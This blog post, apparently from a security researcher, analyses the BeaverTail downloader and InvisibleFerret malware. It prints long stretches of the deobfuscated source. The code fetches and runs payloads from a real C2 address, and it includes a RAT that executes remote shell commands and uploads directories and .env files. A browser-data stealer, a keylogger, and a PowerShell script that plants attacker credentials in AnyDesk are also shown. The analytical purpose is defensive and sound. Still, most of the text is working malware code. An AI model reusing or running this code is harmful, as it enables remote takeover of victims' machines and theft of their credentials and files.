Analyzing North Korean Malware. Before I start, it is important to say… | by Henrique Marcomini | Dec, 2024
December 29, 2024

Analyzing North Korean Malware. Before I start, it is important to say… | by Henrique Marcomini | Dec, 2024

Finally, the most interesting part of BeaverTail is Deploy and run the second phase function which will download InvisibleFerret

const fs = require('fs');
const child_process = require("child_process").exec;
const request = require("request");

let python_download_current_size = 0;

const untar = async tar_name => {
child_process("tar -xf " + tar_name + " -C " + homedir, (success, _b, _c) => {
if (success) {
fs.rmSync(tar_name);
return void(python_download_current_size = 0);
}
fs.rmSync(tar_name);
deploy_and_run_second_stage();
});
};

function setup_to_download_again() {
setTimeout(() => {
download_python();
}, 20000);
}

const download_python = () => {
const p_zi_path = tmp_dir + "\\p.zi";
const p2_zip_path = tmp_dir + "\\p2.zip";
if (python_download_current_size >= 51476596) {
return;
}
if (fs.existsSync(p_zi_path)) {
try {
var p_zi_props = fs.statSync(p_zi_path);
if (p_zi_props.size >= 51476596) {
python_download_current_size = p_zi_props.size;
fs.rename(p_zi_path, p2_zip_path, possible_error => {
if (possible_error) {
throw possible_error;
}
untar(p2_zip_path);
});
} else {
if (python_download_current_size < p_zi_props.size) {
python_download_current_size = p_zi_props.size;
} else {
fs.rmSync(p_zi_path);
python_download_current_size = 0;
}
setup_to_download_again();
}
} catch (e) {}
} else {
child_process("curl -Lo \"" + p_zi_path + "\" \"" + "http://185.153.182.241:1224/pdown" + "\"", (success, _b, _b) => {
if (success) {
python_download_current_size = 0;
return void setup_to_download_again();
}
try {
python_download_current_size = 51476596;
fs.renameSync(p_zi_path, p2_zip_path);
untar(p2_zip_path);
} catch (e) {}
});
}
};

const deploy_and_run_second_stage = async () => await new Promise((_s, _err) => {
if ('w' == platform[0]) {
if (fs.existsSync(homedir + "\\.pyp\\python.exe")) {
(() => {
const sys_info_path = homedir + "/.sysinfo";
const command_to_run_sys_info = "\"" + homedir + "\\.pyp\\python.exe\" \"" + sys_info_path + "\"";
try {
fs.rmSync(sys_info_path);
} catch (e) {}
request.get("http://185.153.182.241:1224/client/10/103", (success, _b, data) => {
if (!success) {
try {
fs.writeFileSync(sys_info_path, data);
child_process(command_to_run_sys_info, (_a, _b, _c) => {});
} catch (e) {}
}
});
})();
} else {
download_python();
}
} else {
(() => {
request.get("http://185.153.182.241:1224/client/10/103", (success, _b, data) => {
if (!success) {
fs.writeFileSync(homedir + "/.sysinfo", data);
child_process("python3 \"" + homedir + "/.sysinfo\"", (_a, _b, _c) => {});
}
});
})();
}
});

Here, BeaverTail takes a slightly different approach than the norm, on Windows it downloads a tar file containing all necessary dependencies, while on Linux it trusts that the machine will be ready to run the malware. This is interesting because it assumes tar is installed on a Windows machine, which only applies to more “modern” systems

It’s refreshing to have a slightly more complex section that controls/checks the download status by looking at the file size and retrying if anything weird happens.

I haven’t checked personally, but I believe none of the python dependencies are adulterated. Now we can move to the other part of the code, the python part.

Once again, there’s not much actual obfuscation here, just the matrioska approach, where the code needs to be reversed, decoded and decompressed over and over again. looks like this

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==QoVZ9uP4///9T5pA3Q...YRAYE5SUzlNwJe'))

We ended up making a simple script that turned it into a deobfuscated version

import zlib
import base64
import sys

with open(sys.argv[1],'r') as f:
pl = f.read()

def decompress(pl):
try:
pl = pl[::-1]
pl = base64.b64decode(pl)
pl = zlib.decompress(pl)
return pl
except:
print("ERROR")
print(pl)
exit()

while True:

pl = decompress(pl)

if (pl[0:9] == b"exec((_)("):
pl = pl[11:-3]
else:
print(pl.decode())
break

Lo and behold, there’s no further confusion here, the developers have left everything intact. There are even original variable names and comments, which is quite rare. Bonus points for malware developers make it easier for us.

The first code download after the BeaverTail section is very small, so I can put it all here:

import base64, platform, os, subprocess, sys

try:
import requests
except:
subprocess.check_call([sys.executable, "-m", "pip", "install", "requests"])
import requests

sType = "10"
gType = "103"
ot = platform.system()
home = os.path.expanduser("~")
# host1 = "10.10.51.212"
host1 = "185.153.182.241"
host2 = f"http://{host1}:1224"
pd = os.path.join(home, ".n2")
ap = pd + "/pay"

def download_payload():
if os.path.exists(ap):
try:
os.remove(ap)
except OSError:
return True
try:
if not os.path.exists(pd):
os.makedirs(pd)
except:
pass

try:
if ot == "Darwin":
# aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
aa = requests.get(
host2 + "/payload/" + sType + "/" + gType, allow_redirects=True
)
with open(ap, "wb") as f:
f.write(aa.content)
else:
aa = requests.get(
host2 + "/payload/" + sType + "/" + gType, allow_redirects=True
)
with open(ap, "wb") as f:
f.write(aa.content)
return True
except Exception as e:
return False

res = download_payload()
if res:
if ot == "Windows":
subprocess.Popen(
[sys.executable, ap],
creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW_PROCESS_GROUP,
)
else:
subprocess.Popen([sys.executable, ap])

if ot == "Darwin":
sys.exit(-1)

ap = pd + "/bow"

def download_browse():
if os.path.exists(ap):
try:
os.remove(ap)
except OSError:
return True
try:
if not os.path.exists(pd):
os.makedirs(pd)
except:
pass
try:
aa = requests.get(
host2 + "/brow/" + sType + "/" + gType, allow_redirects=True
)
with open(ap, "wb") as f:
f.write(aa.content)
return True
except Exception as e:
return False

res = download_browse()
if res:
if ot == "Windows":
subprocess.Popen(
[sys.executable, ap],
creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW_PROCESS_GROUP,
)
else:
subprocess.Popen([sys.executable, ap])

ap = pd + "/mlip"

def download_mclip():
if os.path.exists(ap):
try:
os.remove(ap)
except OSError:
return True
try:
if not os.path.exists(pd):
os.makedirs(pd)
except:
pass
try:
aa = requests.get(
host2 + "/mclip/" + sType + "/" + gType, allow_redirects=True
)
with open(ap, "wb") as f:
f.write(aa.content)
return True
except Exception as e:
return False

res = download_mclip()
if res:
if ot == "Windows":
subprocess.Popen(
[sys.executable, ap],
creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW_PROCESS_GROUP,
)
else:
subprocess.Popen([sys.executable, ap])

You can also take a look here

As we can see, it creates a .n2 It also downloads three other code sections, one for stealing browser information (/bow), one for stealing clipboard information (/mclip), and a RAT (/payload).

One notable thing we can find is the variables sType and gType. We have no confirmation yet, but we believe they are just identifiers from different campaigns, as changing them only changes the parameters within the download code, not the code itself.

As an added bonus, we also found that gType “root” also works.

Browser stealers are finally getting closer to what we’re used to seeing in stealers, which could mean the js is either an older version or just junk they use to download actual malware.

This code is not significantly different from all other browser stealers. It takes all your credit cards, all your passwords, all your sessions and sends them to http://c2/key As part of the json object.

The only interesting part is that while most browser stealers are messy, this one is well structured. Each browser has a class and inherits properties from another class in the underlying engine, and so on. It doesn’t change the behavior at all, but it shows that they are trying to make a scalable codebase.

Another interesting part is the inclusion of the yandex browser, which I have never seen before, which may indicate that this is also aimed at a Russian audience.

You can read the entire code here

Here they create a viewport using wxPython and captures all keystrokes through it, making it a very basic keylogger. The only interesting thing here is that every once in a while they send texts to https://new_c2/api/mclip, This means they are using a different server to receive keylogger data. We still don’t know why this happens, but it sounds weird

You can read the entire code here

Now this is the most interesting part, whenever you download a RAT script (“/payload/” + sType + “/” + gType), the port will change based on sType and gType, which means they are different for different Use different port identifiers for the pair. In fact, if you scan the C2, you will find a lot of open ports, and they are all RATs.

You can read the entire code here

The RAT first collects information on the machine and sends it to the same /keys endpoint we saw before. After that, it opens a tcp connection with c2 and waits for the command. Here are the operations it accepts:

ssh_obj

This action executes the terminal command and passes the code back to c2

def ssh_obj(A, args):
o = ""
try:
a = args[_A]
cmd = args["cmd"]
if cmd == "":
o = ""
elif cmd.split()[0] == "cd":
proc = subprocess.Popen(cmd, shell=_T)
if len(cmd.split()) != 1:
p = " ".join(cmd.split()[1:])
if os.path.exists(p):
os.chdir(p)
o = os.getcwd()
else:
proc = subprocess.Popen(
cmd,
shell=_T,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
).communicate()
try:
o = decode_str(proc[0])
err = decode_str(proc[1])
except:
o = proc[0]
err = proc[1]
o = o if o else err
except:
pass
p = {_A: a, _O: o}
A.send(code=1, args=p)

ssh_cmd

This action kills the malware by killing all python processes

def ssh_cmd(A, args):
try:
if os_type == "Windows":
subprocess.Popen("taskkill /IM /F python.exe", shell=_T)
else:
subprocess.Popen("killall python", shell=_T)
except:
pass

ssh_clip

This action sends clipboard and keylogger information. e_buf stores this information elsewhere in the code, you can read it here.

def ssh_clip(A, args):
global e_buf
try:
A.send(code=3, args=e_buf)
e_buf = ""
except:
pass

ssh_run

This will download and run the browser mod again. You can read the full code for the browser module here.

def ssh_run(A, args):
try:
a = args[_A]
p = A.par_dir + "/bow"
res = A.bro_down(p)
if res:
if os_type == "Windows":
subprocess.Popen(
[sys.executable, p],
creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW_PROCESS_GROUP,
)
else:
subprocess.Popen([sys.executable, p])
o = os_type + " get browse"
except Exception as e:
o = f"Err4: {e}"
pass
p = {_A: a, _O: o}
A.send(code=4, args=p)

ssh_upload

This operation performs multiple upload sub-operations, which are:

  • sdir — This sub-operation uploads all files in the directory to the C2
  • sfile — This sub-operation uploads a specific file in a directory to the C2
  • sfind — Find and upload development-related files in a specific directory
import ast

def ld(rd, pd):
dir = os.path.join(rd, pd)
res = []
res.append((pd, ""))
sa = os.listdir(dir)
for x in sa:
fn = os.path.join(dir, x)
try:
x0 = x.lower()
if os.path.isfile(fn):
ff, fe = os.path.splitext(x0)
if not fe in ex_files and os.path.getsize(fn) < 104857600:
res.append((pd, x))
elif os.path.isdir(fn):
if not x in ex_dirs and not x0 in ex_dirs:
if pd != "":
t = pd + "/" + x
else:
t = x
res = res + ld(rd, t)
except:
pass
return res

def ss_upd(A, D, args, sd, name):
A.cp_stop = 0
t = _N
try:
if sd == ".":
sd = os.getcwd()
A.send_5(D, " >> upload start: " + sd)
res = ld(sd, "")
A.send_5(D, " -count: " + str(len(res) - 1))
for x, y in res:
if A.cp_stop == 1:
A.send_5(D, " upload stopped ")
return
if y == "":
continue
A.ss_hup(os.path.join(sd, y), D, name, 5)
A.send_5(D, " uploaded success ")
except Exception as ex:
o = " copy error :" + str(ex)
A.send_5(D, o)

def ss_hup(A, sn, D, name, n):
try:
up_time = str(int(time.time()))
files = [
(
"multi_file",
(up_time + "_" + os.path.basename(sn), open(sn, "rb")),
),
]
r = {
"type": sType,
"hid": gType + "_" + sHost,
"uts": name,
}
host2 = f"http://{HOST}:{PORT}"
requests.post(host2 + "/uploads", files=files, data=r)
if os.path.basename(sn) != "flist":
write_flist(up_time + "_" + os.path.basename(sn) + " : " + sn + "\n")
o = " copied " + fmt_s(os.path.getsize(sn)) + ": " + os.path.basename(sn)
A.send_n(D, n, o)
else:
os.remove(sn)
except Exception as e:
o = " failed: " + sn + " > " + str(e)
A.send_n(D, n, o)

def ss_upf(A, admin, args, sfile, name):
D = admin
A.cp_stop = 0
t = _N
try:
sdir = os.getcwd()
A.send_5(D, " >> upload start: " + sdir + " " + sfile)
sn = os.path.join(sdir, sfile)
A.ss_hup(sn, D, name, 5)
A.send_5(D, " uploaded done ")
except Exception as ex:
o = " copy error :" + str(ex)
A.send_5(D, o)

def ss_ufind(A, D, args, name, pat):
A.cp_stop = 0
t = _N
try:
A.send_5(D, " >> ufind start: " + os.getcwd())
if os_type == "Windows":
command = (
"dir /b /s "
+ pat
+ ' | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
)
else:
command = (
'find . -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name '
+ pat
+ " -print"
)
proc = subprocess.Popen(
command,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
).communicate()

dirs = proc[0].decode("utf8").split("\n")
if dirs == [""]:
A.send_5(D, " -count: " + str(0))
A.send_5(D, " Not exist ")
else:
A.send_5(D, " -count: " + str(len(dirs) - 1))
for key in dirs:
if A.cp_stop == 1:
A.send_5(D, " upload stopped ")
break
if key.strip() == "":
continue
A.ss_hup(key.strip(), D, name, 5)
A.send_5(D, " ufind success ")
except Exception as ex:
o = " copy error :" + str(ex)
A.send_5(D, o)

def ss_ups(A):
A.cp_stop = 1

def ssh_upload(A, args):
o = ""
try:
D = args[_A]
cmd = args["cmd"]
cmd = ast.literal_eval(cmd)
if "sdir" in cmd:
sdir = cmd["sdir"]
dn = cmd["dname"]
sdir = sdir.strip()
dn = dn.strip()
A.ss_upd(D, cmd, sdir, dn)
return _T
elif "sfile" in cmd:
sfile = cmd["sfile"]
dn = cmd["dname"]
sfile = sfile.strip()
dn = dn.strip()
A.ss_upf(D, cmd, sfile, dn)
return _T
elif "sfind" in cmd:
dn = cmd["dname"]
pat = cmd["sfind"]
dn = dn.strip()
pat = pat.strip()
A.ss_ufind(D, cmd, dn, pat)
return _T
else:
A.ss_ups()
o = "Stopped ..."
except Exception as e:
print("error_upload:", str(e))
o = f"Err4: {e}"
pass
A.send_5(D, o)

ssh_kill

This action will kill all chrome and Brave instances

def ssh_kill(A, args):
D = args[_A]
if os_type == "Windows":
try:
subprocess.Popen("taskkill /IM chrome.exe /F")
except:
pass
try:
subprocess.Popen("taskkill /IM brave.exe /F")
except:
pass
else:
try:
subprocess.Popen("killall Google\ Chrome")
except:
pass
try:
subprocess.Popen("killall Brave\ Browser")
except:
pass
p = {_A: D, _O: "Chrome & Browser are terminated"}
A.send(code=6, args=p)

ssh_any

This will download and execute the third stage, designed to use AnyDesk as a remote access tool. In the past, the malware itself downloaded and installed AnyDesk, but we were unable to identify it on the current C2, which may mean it is now a legacy feature.

def down_any(A, p):
if os.path.exists(p):
try:
os.remove(p)
except OSError:
return _T
try:
if not os.path.exists(A.par_dir):
os.makedirs(A.par_dir)
except:
pass
host2 = f"http://{HOST}:{PORT}"
try:
myfile = requests.get(host2 + "/adc/" + sType, allow_redirects=_T)
with open(p, "wb") as f:
f.write(myfile.content)
return _T
except Exception as e:
return _F

def ssh_any(A, args):
try:
D = args[_A]
p = A.par_dir + "/adc"
res = A.down_any(p)
if res:
if os_type == "Windows":
subprocess.Popen(
[sys.executable, p],
creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW_PROCESS_GROUP,
)
else:
subprocess.Popen([sys.executable, p])
o = os_type + " get anydesk"
except Exception as e:
o = f"Err7: {e}"
pass
p = {_A: D, _O: o}
A.send(code=7, args=p)

ssh_env

This operation looks for development files across the disk and transfers them directly to the C2

def ss_hup(A, sn, D, name, n):
try:
up_time = str(int(time.time()))
files = [
(
"multi_file",
(up_time + "_" + os.path.basename(sn), open(sn, "rb")),
),
]
r = {
"type": sType,
"hid": gType + "_" + sHost,
"uts": name,
}
host2 = f"http://{HOST}:{PORT}"
requests.post(host2 + "/uploads", files=files, data=r)
if os.path.basename(sn) != "flist":
write_flist(up_time + "_" + os.path.basename(sn) + " : " + sn + "\n")
o = " copied " + fmt_s(os.path.getsize(sn)) + ": " + os.path.basename(sn)
A.send_n(D, n, o)
else:
os.remove(sn)
except Exception as e:
o = " failed: " + sn + " > " + str(e)
A.send_n(D, n, o)

def ss_uenv(A, D, C):
proc = subprocess.Popen(
C,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
).communicate()

dirs = proc[0].decode("utf8").split("\n")
if dirs == [""]:
A.send_n(D, 8, " -count: " + str(0))
else:
A.send_n(D, 8, " -count: " + str(len(dirs) - 1))
for key in dirs:
if A.cp_stop == 1:
A.send_n(D, 8, " upload stopped ")
break
if key.strip() == "":
continue
A.ss_hup(key.strip(), D, "global_env", 8)

def ssh_env(A, args):
drive_list = ["C", "D", "E", "F", "G"]
A.cp_stop = 0
try:
a = args[_A]
c = args["cmd"]
c = ast.literal_eval(c)
A.send_n(a, 8, "--- uenv start ")
if os_type == "Windows":
for key in drive_list:
if os.path.exists(f"{key}:\\") == False:
continue
c = (
"dir /b /s "
+ key
+ ':\*.env | findstr /v /i "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi"'
)
A.ss_uenv(a, c)
else:
c = 'find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print'
A.ss_uenv(a, c)
A.send_n(a, 8, "--- uenv success ")
except Exception as e:
A.send_n(a, 8, " uenv err: " + str(e))

This module of the malware appears to be legacy code left over from a valuable iteration. Especially since we were able to trace code samples with unauthorized parameters that were at least 10 months old.

You can read the entire code here

In short, it assumes that AnyDesk is installed and sets it up so that an attacker can remotely access the user’s computer. Here is the installation script it tries to run:

$stream_reader = New-Object System.IO.StreamReader($file_path)
$output_file_path = $file_path + "d"
$stream_writer = New-Object System.IO.StreamWriter($output_file_path)
$pd = "ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d"
$ps = "ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345"
$ts = "ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f"
while (($line = $stream_reader.ReadLine()) -ne $null) {
if ($line -like "ad.anynet.pwd_hash=*") {
$line = $pd
}
elseif ($line -like "ad.anynet.pwd_salt=*") {
$line = $ps
}
elseif ($line -like "ad.anynet.token_salt=*") {
$line = $ts
}
else{
$stream_writer.WriteLine($line)
}
}
$stream_writer.WriteLine($pd)
$stream_writer.WriteLine($ps)
$stream_writer.WriteLine($ts)
$stream_reader.Close()
$stream_writer.Close()
remove-item -fo $file_path
Rename-Item -Path $output_file_path -NewName $file_path
taskkill /IM anydesk.exe /F

Of course, there’s a lot of ongoing research that we can’t publish right now, so this article is just a top-level view of some of what we’re seeing.

But if you have some interesting tidbits, malware samples, or you think we’ve missed something, feel free to contact us (I’m not hard to find).

2024-12-26 17:47:47

Leave a Reply

Your email address will not be published. Required fields are marked *